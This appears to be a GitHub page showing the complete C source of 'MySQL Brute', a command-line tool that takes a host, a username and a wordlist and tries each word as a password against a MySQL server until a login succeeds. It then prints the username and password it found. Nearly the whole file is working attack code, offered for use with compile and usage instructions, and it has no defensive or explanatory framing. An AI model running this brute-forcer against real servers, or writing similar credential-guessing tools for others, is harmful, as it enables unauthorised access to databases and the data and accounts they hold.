-
Notifications
You must be signed in to change notification settings - Fork 23
/
Copy pathmysqlbrute.c
237 lines (174 loc) · 4.77 KB
/
mysqlbrute.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
/**
* MySQL Brute
* mysqlbrute.c
*
* mysqld bruteforcer using word lists.
*
* @author Martin Latter
* @copyright Martin Latter, 27/05/2017
* @version 0.12
* @license GNU GPL version 3.0 (GPL v3); https://www.gnu.org/licenses/gpl-3.0.html
* @link https://github.com/Tinram/MySQL-Brute.git
*
* Compile:
* (Linux GCC x64)
* required dependency: libmysqlclient-dev
* gcc mysqlbrute.c $(mysql_config --cflags) $(mysql_config --libs) -o mysqlbrute -Ofast -Wall -Wextra -Wuninitialized -Wunused -Werror -Wformat=2 -Wunused-parameter -Wshadow -Wwrite-strings -Wstrict-prototypes -Wold-style-definition -Wredundant-decls -Wnested-externs -Wmissing-include-dirs -Wformat-security -std=gnu99 -flto -s # -mtune=native -march=native
*
* Usage:
* ./mysqlbrute --help
* ./mysqlbrute -h <host> -u <username> -f <wordlist_file>
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <getopt.h>
#include <mysql.h>
#define APP_NAME "MySQL Brute"
#define MB_VERSION "0.12"
#define MAX_WORD_LEN 50
void menu(char* const pFName);
unsigned int options(int iArgCount, char* aArgV[]);
char* pHost = NULL;
char* pUser = NULL;
char* pFilename = NULL;
char* pProgname = NULL;
unsigned int iPort = 3306;
int main(int iArgCount, char* aArgV[]) {
pProgname = aArgV[0];
if (iArgCount <= 2) {
menu(pProgname);
return EXIT_FAILURE;
}
unsigned int iMenu = options(iArgCount, aArgV);
if ( ! iMenu) {
return EXIT_FAILURE;
}
MYSQL* pConn;
FILE* pWordlist;
clock_t tStart;
clock_t tDiff;
int iMSec;
unsigned int iPasswordFound = 0;
unsigned int iWordCount = 0;
char sBuffer[MAX_WORD_LEN];
char sPassword[MAX_WORD_LEN];
pConn = mysql_init(NULL);
if (pConn == NULL) {
fprintf(stderr, "\nCannot initialise MySQL connector.\n\n");
return EXIT_FAILURE;
}
tStart = clock();
pWordlist = fopen(pFilename, "r");
if (pWordlist == NULL) {
fprintf(stderr, "\nError in trying to read wordlist file.\n\n");
return EXIT_FAILURE;
}
while (fgets(sBuffer, MAX_WORD_LEN, pWordlist) != NULL) {
iWordCount++;
size_t iIdx = strcspn(sBuffer, "\r\n"); /* strip EOL, thanks Tim Čas */
strncpy(sPassword, sBuffer, iIdx);
sPassword[iIdx] = '\0';
/* attempt to connect to mysqld and match the parameters passed */
if (mysql_real_connect(pConn, pHost, pUser, sPassword, NULL, iPort, NULL, 0) != NULL) {
iPasswordFound = 1;
fprintf(stdout, "\n\nSuccess!\nusername: %s\npassword: %s\n", pUser, sPassword);
break;
}
if (iWordCount % 1000 == 0) {
fprintf(stdout, "line: %u\r", iWordCount);
fflush(stdout);
}
}
/* close file */
fclose(pWordlist);
/* close connection */
mysql_close(pConn);
if ( ! iPasswordFound) {
fprintf(stdout, "\n\nNo password match.\n");
}
fprintf(stdout, "\nwords parsed: %u\n", iWordCount);
/* timer end */
tDiff = clock() - tStart;
/* timer display, by Ben Alpert */
iMSec = tDiff * 1000 / CLOCKS_PER_SEC;
fprintf(stdout, "parse time: %d s %d ms\n\n", iMSec / 1000, iMSec % 1000);
return EXIT_SUCCESS;
}
/**
* Process command-line switches using getopt()
*
* @param int iArgCount, number of arguments
* @param array aArgV, switches
* @return unsigned integer
*/
unsigned int options(int iArgCount, char* aArgV[]) {
int iOpts = 0;
int iOptsIdx = 0;
unsigned int iHelp = 0;
unsigned int iVersion = 0;
struct option aLongOpts[] = {
{"help", no_argument, 0, 'i'},
{0, 0, 0, 0}
};
while ((iOpts = getopt_long(iArgCount, aArgV, "ih:w:u:f:p:", aLongOpts, &iOptsIdx)) != -1) {
switch (iOpts) {
case 'i':
iHelp = 1;
break;
case 'h':
pHost = optarg;
break;
case 'u':
pUser = optarg;
break;
case 'f':
pFilename = optarg;
break;
case 'p':
iPort = (unsigned int) atoi(optarg);
break;
case '?':
if (optopt == 'h' || optopt == 'w' || optopt == 'u' || optopt == 'f' || optopt == 'p') {
fprintf(stderr, "\nMissing switch arguments.\n\n");
}
else if (optopt == 0) {
break;
}
else {
fprintf(stderr, "\nUnknown option `-%c'.\n\n", optopt);
}
return 0;
break;
default:
return 0;
}
}
if (iHelp == 1) {
menu(aArgV[0]);
return 0;
}
else if (iVersion == 1) {
fprintf(stdout, "\n%s v.%s\n\n", APP_NAME, MB_VERSION);
return 0;
}
else if (pHost == NULL || pFilename == NULL || pUser == NULL) {
fprintf(stderr, "\n%s: use '%s --help' for help\n\n", APP_NAME, aArgV[0]);
return 0;
}
else {
return 1;
}
}
/**
* Display menu.
*
* @param char* pFName, filename from aArgV[0]
* @return void
*/
void menu(char* const pFName) {
fprintf(stdout, "\n%s v.%s\nby Tinram", APP_NAME, MB_VERSION);
fprintf(stdout, "\n\nUsage:\n");
fprintf(stdout, "\t%s -h <host> -u <user> -f <file> [-p port]\n\n", pFName);
}